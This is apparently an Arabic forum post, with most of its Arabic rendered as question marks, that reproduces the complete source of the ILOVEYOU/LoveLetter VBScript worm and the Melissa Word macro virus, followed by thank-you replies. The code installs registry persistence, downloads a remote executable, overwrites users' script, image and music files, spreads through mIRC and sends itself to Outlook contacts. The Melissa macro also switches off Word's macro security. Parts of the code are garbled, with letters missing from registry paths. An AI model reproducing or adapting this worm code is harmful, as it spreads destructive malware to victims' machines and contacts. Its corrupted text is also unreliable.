الفايروســــــــــــات the virus

?????????????????????? the virus

??? ???? ?????????? ?

???? ?????????? ?????? ?

???? ?? ??????????

===================================

???? ?????? ???? ??? ??? ?????? ?? ??????? ????????? ????????? ???

???? ??? ?????? ??????? ??? ?????? ??.

????? ??? ????? ?????????? ????? ???? ????? ????? ???? ???? ???? ?????

?? ????? ???????? ???? ?????? ??? ????? ???????? ????? ?????? ?????

?????? ??????? ??? ???????? exe ???? ?? ???? ????? dLL ???? ????

???? ????? ?????????? .

????? ?????? ???? ?? ?????? ?????? ?? ???? ???? ?????????? ?

??????? ??:???? ?? ?????????? ???? ???? ???? (???? Smile

)????

???? ???? ???????? ???? ??? ?????

* ???? ???? ????? ???? ??? ???????? ??? ?????? ?? ????? ?? ?????

????????? ??????

*??????? ???? ???? ??????? ?????????? ??? ????????? ?????

*????? ???? ?????? ?????????? ?????? .

* ?????? ???? ?????????? ?????? ?????? ?????? ?? ????? ??????

????? ????.

???? ?????? ????????? ?????? ???????????

??????? ???? ?? ???? ??? ???????? ???????? ?????? ?????????? ?????

?????? ???? ???? ????? ?????? ??? ????? ????????? ???? ???? ????

????.

================================================== =============

rem barok -loveletter(vbe) <i hate go to school>rem by: spyder / [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] / @grammersoft group /

Manila , Philippines

On Error Resume Next

Dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow

eq=""

ctr=0

Set fso = CreateObject("Scripting.FileSystemObject")

Set file = fso.OpenTextFile(WScript.ScriptFullname,1)

vbscopy=file.ReadAll

main()

Sub main()

On Error Resume Next

Dim wscr,rr

Set wscr=CreateObject("WScript.Shell")

rr=wscr.RegRead("HKEY_CURRENT_USER\oftware\icrosof t\indows Scripting

Host\ettings\imeout")

If (rr>=1) Then

wscr.RegWrite "HKEY_CURRENT_USER\oftware\icrosoft\indows Scripting

Host\ettings\imeout",0,"REG_DWORD"

End If

Set dirwin = fso.GetSpecialFolder(0)

Set dirsystem = fso.GetSpecialFolder(1)

Set dirtemp = fso.GetSpecialFolder(2)

Set c = fso.GetFile(WScript.ScriptFullName)

c.Copy(dirsystem&"\SKernel32.vbs")

c.Copy(dirwin&"\in32DLL.vbs")

c.Copy(dirsystem&"\OVE-LETTER-FOR-YOU.TXT.vbs")

regruns()

html()

spreadtoemail()

listadriv()

End Sub

Sub regruns()

On Error Resume Next

Dim num,downread

regcreate

"HKEY_LOCAL_MACHINE\oftware\icrosoft\indows\urrent Version\un\SKernel32

",dirsystem&"\SKernel32.vbs"

regcreate

"HKEY_LOCAL_MACHINE\oftware\icrosoft\indows\urrent Version\unServices\i

n32DLL",dirwin&"\in32DLL.vbs"

downread=""

downread=regget("HKEY_CURRENT_USER\oftware\icrosof t\nternet

Explorer\ownload Directory")

If (downread="") Then

downread="c:\

End If

If (fileexist(dirsystem&"\inFAT32.exe")=1) Then

Randomize

num = Int((4 * Rnd) + 1)

If num = 1 Then

regcreate "HKCU\oftware\icrosoft\nternet Explorer\ain\tart

Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj

w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"

ElseIf num = 2 Then

regcreate "HKCU\oftware\icrosoft\nternet Explorer\ain\tart

Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe

546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"

ElseIf num = 3 Then

regcreate "HKCU\oftware\icrosoft\nternet Explorer\ain\tart

Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm

POhfgER67b3Vbvg/WIN-BUGSFIX.exe"

ElseIf num = 4 Then

regcreate "HKCU\oftware\icrosoft\nternet Explorer\ain\tart

Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh

YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237 461234iuy7thjg/WIN-BUGSFIX

.exe"

End If

End If

If (fileexist(downread&"\IN-BUGSFIX.exe")=0) Then

regcreate

"HKEY_LOCAL_MACHINE\oftware\icrosoft\indows\urrent Version\un\IN-BUGSFI

X",downread&"\IN-BUGSFIX.exe"

regcreate "HKEY_CURRENT_USER\oftware\icrosoft\nternet Explorer\ain\tart

Page","about:blank"

End If

End Sub

Sub listadriv

On Error Resume Next

Dim d,dc,s

Set dc = fso.Drives

For Each d In dc

If d.DriveType = 2 Or d.DriveType=3 Then

folderlist(d.path&"\)

End If

Next

listadriv = s

End Sub

Sub infectfiles(folderspec)

On Error Resume Next

Dim f,f1,fc,ext,ap,mircfname,s,bname,mp3

Set f = fso.GetFolder(folderspec)

Set fc = f.Files

For Each f1 In fc

ext=fso.GetExtensionName(f1.path)

ext=LCase(ext)

s=LCase(f1.Name)

If (ext="vbs") Or (ext="vbe") Then

Set ap=fso.OpenTextFile(f1.path,2,True)

ap.write vbscopy

ap.Close

ElseIf(ext="js") Or (ext="jse") Or (ext="css") Or (ext="wsh") Or (ext="sct")

Or (ext="hta") Then

Set ap=fso.OpenTextFile(f1.path,2,True)

ap.write vbscopy

ap.Close

bname=fso.GetBaseName(f1.path)

Set cop=fso.GetFile(f1.path)

cop.copy(folderspec&"\&bname&".vbs")

fso.DeleteFile(f1.path)

ElseIf(ext="jpg") Or (ext="jpeg") Then

Set ap=fso.OpenTextFile(f1.path,2,True)

ap.write vbscopy

ap.Close

Set cop=fso.GetFile(f1.path)

cop.copy(f1.path&".vbs")

fso.DeleteFile(f1.path)

ElseIf(ext="mp3") Or (ext="mp2") Then

Set mp3=fso.CreateTextFile(f1.path&".vbs")

mp3.write vbscopy

mp3.Close

Set att=fso.GetFile(f1.path)

att.attributes=att.attributes+2

End If

If (eq<>folderspec) Then

If (s="mirc32.exe") Or (s="mlink32.exe") Or (s="mirc.ini") Or

(s="script.ini") Or (s="mirc.hlp") Then

Set scriptini=fso.CreateTextFile(folderspec&"\cript.in i")

scriptini.WriteLine "[script]"

scriptini.WriteLine ";mIRC Script"

scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt,

if mIRC will"

scriptini.WriteLine " corrupt... WINDOWS will affect and will not run

correctly. thanks"

scriptini.WriteLine ";"

scriptini.WriteLine ";Khaled Mardam-Bey"

scriptini.WriteLine ";http://www.mirc.com"

scriptini.WriteLine ";"

scriptini.WriteLine "n0=on 1:JOIN:#:{

scriptini.WriteLine "n1= /if ( $nick == $me ) {halt }

scriptini.WriteLine "n2= /.dcc send $nick

"&dirsystem&"\OVE-LETTER-FOR-YOU.HTM"

scriptini.WriteLine "n3=}

scriptini.Close

eq=folderspec

End If

End If

Next

End Sub

Sub folderlist(folderspec)

On Error Resume Next

Dim f,f1,sf

Set f = fso.GetFolder(folderspec)

Set sf = f.SubFolders

For Each f1 In sf

infectfiles(f1.path)

folderlist(f1.path)

Next

End Sub

Sub regcreate(regkey,regvalue)

Set regedit = CreateObject("WScript.Shell")

regedit.RegWrite regkey,regvalue

End Sub

Function regget(value)

Set regedit = CreateObject("WScript.Shell")

regget=regedit.RegRead(value)

End Function

Function fileexist(filespec)

On Error Resume Next

Dim msg

If (fso.FileExists(filespec)) Then

msg = 0

Else

msg = 1

End If

fileexist = msg

End Function

Function folderexist(folderspec)

On Error Resume Next

Dim msg

If (fso.GetFolderExists(folderspec)) Then

msg = 0

Else

msg = 1

End If

fileexist = msg

End Function

Sub spreadtoemail()

On Error Resume Next

Dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,rega d

Set regedit=CreateObject("WScript.Shell")

Set out=WScript.CreateObject("Outlook.Application")

Set mapi=out.GetNameSpace("MAPI")

For ctrlists=1 To mapi.AddressLists.Count

Set a=mapi.AddressLists(ctrlists)

x=1

regv=regedit.RegRead("HKEY_CURRENT_USER\oftware\ic rosoft\AB\&a)

If (regv="") Then

regv=1

End If

If (Int(a.AddressEntries.Count)>Int(regv)) Then

For ctrentries=1 To a.AddressEntries.Count

malead=a.AddressEntries(x)

regad=""

regad=regedit.RegRead("HKEY_CURRENT_USER\oftware\i crosoft\AB\&malead)

If (regad="") Then

Set male=out.CreateItem(0)

male.Recipients.Add(malead)

male.Subject = "ILOVEYOU"

male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."

male.Attachments.Add(dirsystem&"\OVE-LETTER-FOR-YOU.TXT.vbs")

male.Send

regedit.RegWrite

"HKEY_CURRENT_USER\oftware\icrosoft\AB\&malead,1," REG_DWORD"

End If

x=x+1

Next

regedit.RegWrite

"HKEY_CURRENT_USER\oftware\icrosoft\AB\&a,a.Addres sEntries.Count

Else

regedit.RegWrite

"HKEY_CURRENT_USER\oftware\icrosoft\AB\&a,a.Addres sEntries.Count

End If

Next

Set out=Nothing

Set mapi=Nothing

End Sub

Sub html

On Error Resume Next

Dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6

dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE>< META

NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _

"<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] ?-?

@GRAMMERSoft Group ?-? Manila , Philippines ?-? March 2000@-@>"&vbcrlf& _

"<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is

good...@-@>"&vbcrlf& _

"<?-?HEAD><BODY

ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#

-#,#-#main#-#)@-@ "&vbcrlf& _

"ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#

-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _

"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read

this HTML file<BR>- Please press #-#YES#-# button to Enable

ActiveX<?-?p>"&vbcrlf& _

"<?-?CENTER><MARQUEE LOOP=@-@infinite@-@

BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE>

"&vbcrlf& _

"<?-?BODY><?-?HTML>"&vbcrlf& _

"<SCRIPT language=@-@JScript@-@>"&vbcrlf& _

""&vbcrlf& _

"<?-?SCRIPT>"&vbcrlf& _

"<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _

""&vbcrlf& _

"<?-?SCRIPT>"

dt1=replace(dta1,Chr(35)&Chr(45)&Chr(35),"'")

dt1=replace(dt1,Chr(64)&Chr(45)&Chr(64),"""")

dt4=replace(dt1,Chr(63)&Chr(45)&Chr(63),"/")

dt5=replace(dt4,Chr(94)&Chr(45)&Chr(94),"\)

dt2=replace(dta2,Chr(35)&Chr(45)&Chr(35),"'")

dt2=replace(dt2,Chr(64)&Chr(45)&Chr(64),"""")

dt3=replace(dt2,Chr(63)&Chr(45)&Chr(63),"/")

dt6=replace(dt3,Chr(94)&Chr(45)&Chr(94),"\)

Set fso=CreateObject("Scripting.FileSystemObject")

Set c=fso.OpenTextFile(WScript.ScriptFullName,1)

lines=Split(c.ReadAll,vbcrlf)

l1=UBound(lines)

For n=0 To UBound(lines)

lines(n)=replace(lines(n),"'",Chr(91)+Chr(45)+Chr( 91))

lines(n)=replace(lines(n),"""",Chr(93)+Chr(45)+Chr (93))

lines(n)=replace(lines(n),"\,Chr(37)+Chr(45)+Chr(3 7))

If (l1=n) Then

lines(n)=Chr(34)+lines(n)+Chr(34)

Else

lines(n)=Chr(34)+lines(n)+Chr(34)&"&vbcrlf& _"

End If

Next

Set b=fso.CreateTextFile(dirsystem+"\OVE-LETTER-FOR-YOU.HTM")

b.Close

Set d=fso.OpenTextFile(dirsystem+"\OVE-LETTER-FOR-YOU.HTM",2)

d.write dt5

d.write join(lines,vbcrlf)

d.write vbcrlf

d.write dt6

d.Close

End Sub

--------------------------------------------------------

??? ????? ??? ???????? ???? ??? ????? ???????? ???? ?????? ???? ?? ???? ?????? ??????? ?? ??????? ????.

???? ???? ??? ??????? ??????? ???? ????? ????? ???

Private Sub AutoOpen() On Error Resume Next

p$ = "clone"

If System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\.0\ord\e curity", "Level") <> "" Then

CommandBars("Macro").Controls("Security...").Enabl ed = False

System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\.0\ord\e curity", "Level") = 1&

Else

p$ = "clone"

CommandBars("Tools").Controls("Macro").Enabled = False

Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)

End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice

Set UngaDasOutlook = CreateObject("Outlook.Application")

Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")

If System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\, "Melissa?") <> "... by Kwyjibo" Then

If UngaDasOutlook = "Outlook" Then

DasMapiName.Logon "profile", "password"

For y = 1 To DasMapiName.AddressLists.Count

Set AddyBook = DasMapiName.AddressLists(y)

x = 1

Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)

For oo = 1 To AddyBook.AddressEntries.Count

Peep = AddyBook.AddressEntries(x)

BreakUmOffASlice.Recipients.Add Peep

x = x + 1

If x > 50 Then oo = AddyBook.AddressEntries.Count

Next oo

BreakUmOffASlice.Subject = "Important Message From " & Application.UserName

BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"

BreakUmOffASlice.Attachments.Add ActiveDocument.FullName

BreakUmOffASlice.Send

Peep = ""

Next y

DasMapiName.Logoff

End If

p$ = "clone"

System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\, "Melissa?") = "... by Kwyjibo"

End If

Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)

Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)

NTCL = NTI1.CodeModule.CountOfLines

ADCL = ADI1.CodeModule.CountOfLines

BGN = 2

If ADI1.Name <> "Melissa" Then

If ADCL > 0 Then _

ADI1.CodeModule.DeleteLines 1, ADCL

Set ToInfect = ADI1

ADI1.Name = "Melissa"

DoAD = True

End If

If NTI1.Name <> "Melissa" Then

If NTCL > 0 Then _

NTI1.CodeModule.DeleteLines 1, NTCL

Set ToInfect = NTI1

NTI1.Name = "Melissa"

DoNT = True

End If

If DoNT <> True And DoAD <> True Then GoTo CYA

If DoNT = True Then

Do While ADI1.CodeModule.Lines(1, 1) = ""

ADI1.CodeModule.DeleteLines 1

Loop

ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")

Do While ADI1.CodeModule.Lines(BGN, 1) <> ""

ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)

BGN = BGN + 1

Loop

End If

p$ = "clone"

If DoAD = True Then

Do While NTI1.CodeModule.Lines(1, 1) = ""

NTI1.CodeModule.DeleteLines 1

Loop

ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")

Do While NTI1.CodeModule.Lines(BGN, 1) <> ""

ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)

BGN = BGN + 1

Loop

End If

CYA:

If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then

ActiveDocument.SaveAs FileName:=ActiveDocument.FullName

ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then

ActiveDocument.Saved = True: End If

'WORD/Melissa written by Kwyjibo

'Clone written by Duke/SMF

'Works in both Word 2000 and Word 97

'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!

'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!

If Day(Now) = Minute(Now) Then Selection.TypeText "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."

End Sub

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------

??? ??? ???????? ???? ???????? ??? ??? ?? ???????? ??????? .

???? ???? ?? ???? ???? ?? ?????????? ??? ?? ???? ?????? ?????? ???? ??? ????? ???????? ????? ?? ?? ????? ??????? ????????????

???? ??? ???? ?? ???? ??????? ?

1-?? ???? ??????? ??? ???? ?? ???

2-????? ??? ???? ?? ????

3-????? ??? ???? ?? ?????

4-??? ????? ????? ????? ??? ?????? ???? ?? ???? ????? ???? ???? ??????? ?? ??????? ??? ????????

5-????? ??? ??? ?? ??? (??? ?? ?? ??) ????? ??? ??????.

-------------------

???? ???? ???? ????

?? ???? ????? ????? ???????? ??????? ????? ???? ?? ???? ????? ?????? ???? ?? ??????????

مشكور اخي ننتظر جديدك

شكرررررررررررررررررررررررررررررررررررررررررررررررررررررررررررررررررررررررررررررررررررررررا أخي
:يسلمو::>: :يسلمو::>: :يسلمو::>: :يسلمو::>: :يسلمو::>: :يسلمو::>: :يسلمو::>: :يسلمو::>: :يسلمو::>: :يسلمو::>: :يسلمو::>: :يسلمو::>: